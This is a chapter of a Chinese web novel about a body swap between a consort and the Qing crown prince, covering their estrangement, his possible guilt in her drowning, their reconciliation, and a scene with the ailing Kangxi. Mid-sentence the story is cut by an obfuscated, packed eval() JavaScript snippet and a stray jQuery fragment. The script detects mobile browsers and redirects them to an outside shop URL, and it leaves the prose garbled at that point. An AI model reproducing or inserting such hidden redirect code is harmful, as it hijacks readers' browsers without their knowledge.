她也不是因为这个生气的,因为发现之前就已经决定把他赶出去了,如今只是为了再找点他的错处来,让他不痛快。
她是为了折磨他,而他还真的被她折磨到了。
若不是灵魂互换,他也不至于什么事情都干不了,连出门都费力,只能把心思用在男女情爱上,白白被她伤透了心。
她如今却要抛弃他,上哪说理去?
太子觉得自己是世上最大的冤大头,恨不得一死了之,让她伤心后悔,泪流满面。
可他也不能做这样的孬种,他要报复回来,要重新赢得她的心,再把她狠狠踩在脚下。
唉,如今的情况,赢得她的心,又岂是那么容易的事情?
第二日下朝后,他正好出来,两人对视了一眼,看见她那冰冷嫌弃又鄙夷的神色,他脆弱的小心脏又被伤到了,躺在床上辗转反侧许多才能呼吸一口。
他完了,他与她完了,她从未这般无情过,她是要与他决裂。
他拿出她写的信,一遍又一遍地看着,泪水浸透了信纸,他的眼睛都红肿了。
他想要出门去质问她为什么,却不知为何失去了勇气,她性情多变,阴晴不定,他不要再去招惹她了。
就这样吧,就这样分开吧,这样对他才好。
午夜梦回间,太子又呜呜地哭了起来,漂亮的长睫毛上挂上了晶莹的泪珠。
他借着月色观看他给她画的画,忍不住亲吻了上去,用尽全力克制自己去找她,弄得自己疲惫不堪,终是沉沉睡去。
不知不觉过了六七日,整个东宫都大致意识到,蕊侧福晋失宠了。
幸灾乐祸者有之,蓄意偶遇花上蕊者有之,但因为太子还住在花上蕊那个院子里,且是“侧福晋”,便也没有人敢上前欺凌。
更何况蕊侧福晋的脾气,并不好惹。
花上蕊总是不自觉的去湖边查看,对着湖水沉思良久。
湖面荡漾出太子的脸,却似乎又荡漾着原主的脸,原主的脸上有时挂着讥笑,有时怒目而斥,似乎是在嘲讽她。
没有证据,她不能就这样将罪怪到太子头上,自己做的梦,跟原主有什么干系?就算是原主还残留着记忆,那也应该是太子做梦。
毕竟这个灵魂是她的,身体在太子那里。
若是太子害死了原主,如今又困在原主的身体里,那是不是说……冥冥之中,原主在替她自己报仇?
所以跟白玉扳指无关,是原主在报复太子,才导致两人灵魂互换?
如果是这样的话,自己跟太子相爱,原主又会如何看待她呢?
这世上真的有鬼魂吗?
“啊!!!”
花上蕊想东想西,脑中一团乱麻,忍不住大声嚎叫了起来。
谁知道,这一声嚎叫,却引来了一个她意想不到的人。
只听见假山旁边的草丛动了动,林侧福晋突然出现,走了过来,柔柔笑道:“殿下,您怎么了?”
花上蕊觉得浑身汗毛都竖起来了,刚刚林侧福晋若是趁自己不注意踢自己屁股一脚,那她岂不是又要坠入湖中?
她警惕道:“你、你是什么时候来的?”
林侧福晋顿了顿,转而望着湖面道:“我常常来此,看着湖水悠悠,心情也能平静许多。而且在这里,我也能尽情思念着小桃与花上蕊。”
花上蕊的声调有些怪异道:“你思念她们?”
林侧福晋轻轻笑道:“是啊,殿下,我知道你恼恨小桃,最近不知为何,又对蕊侧福晋不满。但请你不要怪罪,她们都服侍我多年,我总是记得昔日的情分的。”
“重情重义的人,很好啊。”
“我记得我们第一次相遇便是在这里,你说荷花衬我,我便每日都让丫鬟采摘。”
“是吗?我记不大清了。”
“殿下贵人事多,记不大清也正常,或许……也是不想记起来吧。殿下,妾身斗胆,能问您一句话吗?”
花上蕊道:“你问吧。”
但是她也未必能答得出来。
灵魂互换后,她立了高冷人设,几乎不在东宫其他女人那里多待,就是怕谈着谈着露馅。
林侧福晋定定地望着她道:“你赶走小桃,究竟是因为她下药,还是因为怕花上蕊发现什么?”
花上蕊“啊”了一声,颤声道:“你这话我可不大明白。”
林侧福晋道:“当日花上蕊落水,小桃说看见了你在附近……幸好花上蕊醒来后,便什么都记不得了。”
花上蕊心跳如鼓,刚刚深切困扰自己的难题,就这样被她轻易说了出来!
难道还真是太子做的?
花上蕊疑惑道:“你突然说这些做什么?”
林侧福晋叹了一口气道:“我原是对花上蕊心中有怨的,你也知道,因为小桃下药之后,她夺走了您的宠爱。可在我与小阿哥患瘟疫期间,她却是唯一一个念着旧情,肯照顾我们母子的人。我感念她的恩德,也想要提醒太子,珍惜眼前人,或许你曾经做过对不起她的事情,她也记不得了,但若是你还忘不了,就应当多补偿她。”
她是因为最近我与太子的冷战,以为“太子”不喜欢“花上蕊”了,所以劝导,她这是好心。
可花上蕊的心中却十分不爽,并没有半分感激她为自己答疑解惑,更是因为得知了真相,而连带着看她都不顺眼了。
但花上蕊并没有发作,只是冷着脸走了,她知道她要怪罪要痛恨的人是太子,而不是旁人。
罪魁祸首……她用了原主的身子,该不该为她报仇雪恨?
花上蕊痛苦到吃不下晚饭。
她怎么可以去伤害太子?先不说他是自己的爱人,他还救了她的命啊。
这几日她也饱受相思之苦,总是出了房门,到院子中去,想要见到他,可每次见到他,又要冷着脸。
她看到他憔悴了不少,也恶狠狠地瞪着她,似乎是生了她的气,她暗自伤心不已。
或许她应该让自己快活一点,不要为了原主的事情折磨自己,可那不是在吃原主的人血馒头吗?
花上蕊贪婪地看着太子的身影,多次来到偏殿门口,想要敲门或者推门而入,却又迟疑着。
她忍不住抚摸太子睡过的榻,甚至在那张榻上睡觉,就好像是他在自己身边一样。
又过了两日,太子喝多了桂花酿,来踢她的门了。
“开门!让爷进来!你个小没良心的。”
花上蕊心中一紧,立即跑过去打开了门,只见他粉面微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576572|202152||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
霞,杏眸中浸透了水润,痴痴地望着她。
“你又喝多了?”
花上蕊张了张嘴,终于找回了自己的声音。
太子气势汹汹地逼近她,把她堵到墙角,质问她:“你为什么不理我?你很了不起吗?说不理我就不理我。”
花上蕊脸颊发红,似乎是被他喷薄而出的酒气熏的,已软了身子,只能依靠着墙维持站立。
太子再次逼近,扣住她的下巴,去吻她的嘴唇。
他踮着脚费力,她便岔开腿配合着他,吻着吻着,泪珠落到两人的唇角上,已经分不清是谁的了。
两人抱在一起沉沉睡去,第二日,花上蕊早早醒来,见他睡得正香,忍不住吻了吻他的眼睫。
她这是在吻原主的皮囊,不是在吻太子的,不算什么。
她安慰着自己。
但又同时痛骂自己的无耻,立即下了床穿着衣服,临走之前恨恨地瞪了一眼太子。
都是他,都是他害得他们陷入了这样的境地,让她饱受折磨。
今日回来后绝不能再理他了。
不过上朝的路上,她的脚步倒是轻快了许多,眼睛也重新焕发光彩。
康熙病了,虽然能够上朝,但是下了朝就要躺在床上,似乎是什么隐疾。
花上蕊不便问,但康熙说最近不能召见妃子了,有点想念太子这个儿子,想要她晚上留下来陪陪他。
花上蕊自然只能同意,她还能说什么不孝顺的话吗?
不过她难免起了疑心,什么样的隐疾是不能召见妃子的?莫不是花柳病?
康熙的后宫妃子众多,他又毫不克制,喜欢雨露均沾……
她越想越往下三路,连忙住脑,只是暗道:“不管能不能换回身体,终究不能容忍太子除了她之外还有别的女人。”
不过留在康熙这里也好,至少不用回去面对他。
入夜,花上蕊躺在小榻上,就算是侍疾了。
康熙精力旺盛,与她聊着太子小时候的事情。
花上蕊认真听着,若是康熙问起,就说记不得了,康熙抱怨了两句,又讲了起来。
康熙派了一个婢女服侍她,相貌与身材都不错,一给她穿衣服,就羞红了脸。
这个丫鬟的气质,看起来有些不同,花上蕊虽然注意到了,但到底没有多想。
只是康熙批阅奏折后,便让这个丫鬟陪着他们散步,丫鬟名叫宁楚,相貌清纯中带着柔顺,与花上蕊原主有些像。
她声音文雅,眼神澄澈,言谈有物,面对康熙的提问,也能答的有趣不失礼节。
花上蕊忍不住起了疑心,康熙这是要做红娘?
“哈哈哈,胤礽,你瞧瞧,她的胆子多么大,居然还想要跟朕比赛骑马。”
花上蕊答道:“女孩子脸皮薄,皇阿玛就别取笑了。”
宁楚笑道:“正所谓初生牛犊不怕虎,我从小练习骑马,未必会输给男子的。当然,跟陛下比,还差的远哩。”
又俏皮又有几分傲气,性格还挺吸引人的,花上蕊觉得,若她真的是个男子,或许也会对宁楚很感兴趣。
康熙瞥了花上蕊一眼道:“朕近日身体不适,胤礽啊,不能让宁楚这丫头看轻了咱们,你就去与她比比吧。”